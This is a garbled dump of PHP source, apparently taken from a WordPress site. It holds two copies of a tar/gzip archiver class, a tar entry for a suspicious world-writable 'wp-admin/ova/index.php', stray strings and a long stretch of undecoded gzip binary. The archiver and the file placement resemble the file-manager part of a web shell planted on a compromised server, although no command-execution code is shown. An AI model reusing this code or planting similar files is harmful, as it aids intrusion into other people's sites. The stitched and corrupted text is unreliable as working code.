pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK/8O\>>ova/index.php.tarnu[home/ampckwxt/lumenelectronicjewelry.com/wp-admin/ova/index.php000077700000233524151442336100021041 0ustar00tasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK/8O\'|ccova/index.php.php.tar.gznu[z"I(xnUWRP }e A<:D@,lsӧ\E?\b900n̔+b*/x[,VcE}K5EY^s cio?/@(") F"9 P0 2wAtUE[iTV?cn+ &#^ i UPI?'7~_g?Jb,p K Ɍ$kpIYpΉ?]qhq}4˛R'CKFVF( 0^,EPixU^A#n8@aavK>Rvƭ9Q!ʘjR~a78Eak0H@S^_ƺ(g˻_Xd !"yp9\L A0a\Jf(QPyHu)r;9Wh2,e*L"Oa4Eq,y*5)D4y2y[ -miF$BKTM@spc&2jE$H1 W1'y`_H2vHߋ<QmDtk}< M蛩>rfۢo\ԕp0 L}7w-Z/0:*Y-^i;'2WhB@֜o-n8חLQa4n NeF CҢ q}ɥLoAk(yp*w k4=L5fLfvΨ:}pZ23BDxF *3deǸуh1;' z-*)^DYPR yēTU@nPw?DG )jGk4kzG*y%+(£,' y$Q.;E+D.OCXy CS_LfģUYI #S4JˡPbZdIsZtc"U oBT[Md`rPlYuKxDb Rj/@"r*k2Pi1!49 ΢MeHAحJ+M;K00KN“UDÍ5?h&%84/fM[**GJ28 Ix4HM3Xvhd=yOң3,qk{3V/G mAx њ01 0^1jph<ZX3E$6΂%'W*d0i-p61_tnIϾ\АbjgYat]N#F%k/#y$sF47ġ%Ooja O gz( H:~V/#G r?(!>HA4| 'h .ڕ`RC-DTN1Hv1. n9_0 p.^r\蟱. wiSh{vfɷڟ]a>1F=v]z?eь}zb?8 J/x Y͚Ik4 7+i㻌~P>^z<@Js i[;k0 Ps!=EYᐃR("A-"QP! S?@OH25EWT#^sg:pnԱa@OH:bՂӞךaX=Mu(xøFꛡ0rll8b;ٔcLPg%*.D:i۠Eo`RCÏ>cƒ4 0p-b .&u筏L;O=H&Bթ;-$aLAw)GI jDe-4is`I4( ̪Ш4qJP 4H- `ճy22;ĩj.3+v+Ϝ8J H ث^@UuٱY*vw 9[QudHf `/@*GdT~Ƀ'.ncjR1װyf3#bB?X5Yb3x9Az 60T 12`LfڽKU؝E7UPp K@aNw]`oI@7Xuد~`D+曟]v%JZ줋yDA3 :/h .0hh#a`FZi A.é IA\D p0PA>"FQ..#IBlNÿ;cac=*?!#SKĜ sC *8 ʔ6`p.Rfsh=POxS-ީUuenTwd%Kv˂O S- V?]G3@C@ :RA{Bļ)usa%L/̖}ZSͷz>JZ.OVx2vqE s(tmP.Ny5Ƹ11 b )t ,Sˋe (dGsZ\ Z] :E&7{ceaoLAH?4Л+8,ȰCB^$H=c:y  eދUjC-Tfn!we RȦO+ $F M|PzHrgѶ@%`hLhHG5 it>cOP8hoI)A.42fXBuZ6(:Lb7y2H0~qQpI/>0ܴL` &2 X%p@ Z< v, CHs'@5 `OtS_@2H63"a p03'kBXNc8| ht- 5f),y'Y#%y#9(͠9B -@PT.<=*H@YLNT bbZ-!x <$<>,9L c Z i }kDQ$<'Glrm S@)04&-+4H5(X"@< o@:vJLaHE nM!lD;0i1*`HsHf.ԔjShp: uNP*@7 i ~񂚩K78-1n#`˥HOXD!m[oד]xƊu61\N'kWxiMo g 2J. ;Rh{S X^ TNlØ;^ZwA@a,}L, hc$WAcWl,1hIt}<eǭp#w{eJ"la D1쎊>Huq2֌N9~bS:j "x /MSU!%P8uP0"]q` .HC`TJ&Bo* dn y_-^={`.5cc^0Gs{9b  Oa ϣi V+FH>^n~Sqh|HlIT ׿1$/ooʆ-T&Z1)U` om- PkagNuhKGpgu$Hװdؐ%K6C0vGc?>i7ud!!`g׆yh&k8ZG(db,&U `4瘕m5QpdBAgt>P5*c> ԂAvsAuݎBQ2`dPd#A&6DPf4at4ئN_T@\x0.@wHtjex nPK~)% \cbc:gNzSX4][4Td6GK$j ./P mFg03~.<D`.G.h~hWek_Tn%-]Ѝ͌YK]E=l&bĿ >q| Wwnuo+ʻзC]MO> zz=xq`e’0fM3&cON-ӝ`.ٺ7w'p2\ ><NّURNl)dā>`vC !N14V<ĈÑ.jPwQj=˔QucbϤg";yG$y!kx:32 j8&ۧzA7|8"-B% I &`TmmTmtaJ'r pY P}t"2C\̹L?˘@{1pUyY%g 4 .dR[ (֣!\U=G3bHۄ0Kx~i)1>KD^( K(,_\.YcjeV]TQ+ %eЅm$_\h,M_anDLTIؑt%kH9o(.nX%Ԥ-@ܸ^bУwb{ !GŸl"eP%FwjM#syі[~k`aBcZs ߥ4%4 9ϲowϨc]Wds` veSJ%%:TmgeGN}̻6zv[$o `s,Kw-RmStlU)U#JS~fb9;0[/RWmTl'% VњYP!;@tW>zf2ĩGmގ&! ?*5D&pi ȆU0(+7m?s"0 D&Ԙ.8 Is5 CI58)r}$ >1~)dg> P PoLc 6cirCgGv^m| Q6LZX "/іv)MnnʼnFVgLS^Ӎl~J#نLqiwt-U7OX%NvY`d6Yob6C2J[wۄxW[uC6!j>jOl…LP+0p3_&BFڪG6bz}/FIݨIGbx>&B;go*蠗l|6hYV+gYOvz( * `hxPJq&N2 `F,qyq,;nCSLq2EFsWVR>7.=LZRo* %FgS318+x,RP)sldYOۛ(m=Ks>o2(ùb%Uֻ**3-sBSjX_NDFeH'=.YU&cq X+w:Ɇ~Mqq|(y-tpZ3-9u)p;\ʭyc3I!MD">>fFlDtP|:DӨ>]ŸEdXN'6*IyPi7$mM}gz+>W`W1L6ЙGna^GnoTR3{~|zKyQ=΢;ߋS'B16Nڛ5z=5-doͺb}YA{TF(j6BFzŪݩT'A\l6vd[iL'ދW[J}3\-#ƮY W*paue)jF& >W@Ol bbP?閞E]UjxbKJo:L[N㨣ϲ&^癩8^YYHhDzNۤ =>3N4&I*Ep(= _wY`>_ȓJP-b9\)Xi?:A 2]΂ f  ʀʲ Ub6hDch<AC648chP F Qɲγ'ZahR~)b 7qť:tl>1yAJW@Ͽ_y+l3#Y)-E쩂W797#&3;^"Ppb7xe3yl^RwWkR ]vFF1_m [ka*9 Zb4zvti3Sk\JpW8iD8a]d x~$#iUDn#b ڍ*{`B0hL].Ѽ:a ;@hsa2GѪl#q:h e}L$uA=A"1ba]kȮaY- 97Ss\ºmQ. q[P MZ  4A kCʼn7C9v ƴ37#XzE[IQ{Dvعu#虙I]%91Ek)vFU[Wf-)s`p٧0q چxAgS>FE_G*Wo"~sVt9$4AӆX9>>&{'q>߿q.΍- Z0}xԞ'.oMļ>9W ABcH|hk*Ō#&#jcJ(2k|``X*P^1T~"Jꭜ2u!ش7pXK&08;ddϖD~_JcF`tf؟7-M4Rh8P4pqbmZc Z2z4Z;VS ىFM2=" >P\w@Nqt Q2$I7КªHXfT0kv]7@ (S'χ׭@4yc~#xe0$xL4C O[r:AOY' 2fG5^׈"` pxf4h\\>Egs\A F afzJ+Lq$. v\>6 ]8F 㲤i41)$ +)8yߠ0@3POws2 řb7cyœ1qX!W'~ ok!y`Spxo\#ipd`ʃpzTsn/N:}?nU,VDHymݙvJCV;VoUj-yDy37N&BVB7Jr9K\6J#KrwPeΫhhߌ6S|6M7J}:O ~g[t}6JIM߯' _}dӹtN?fv]50L`ޞVt'fQheBYŴ4Rv}Ff f4m"D}+/ d4D#Nt. KJ6~i}NOQzS(ut3+vH꣺ń8L$Z Wh #A)f0fLp\F|\6Bt1Oi/˙j$4fy?$)jVcbJ^F^e7jXV}QN3rFcW%1>i}2R7*\.[x#zi:Hl}] ôXF=[VXv3 *S9;`5E yGB:Vy<%TwjQfzz6zNASNOr a֛`?y@+?_tyޘWvYݳYDf9)+Lmg}:3g2}&n'U}xlgL6h&enmBq?HZQ1J\{)79v9>3.m43ksB d6LHiX(ePlA4ެv&ێ NJip[ԗ8`zW\[TuN$\Eynۅx֍MHǍUhR o#1lj^f_ri}Vj{f.NNWj#RnGFkyNg۽(PL0}|{drm#禅î^"7F7+mi?Dą|=_5ZBq_4vYhC1J޹꫁VF/~A @ٕEsyۘ&D,==\;䎺\uF_\2]u,w$9D&ם/b&U'C+tvq1y꣥HlFkb2P˦WxfSNrT*gbzop˽~ ƦW5nw҄eп/gݲŝJW>W%Y&yV 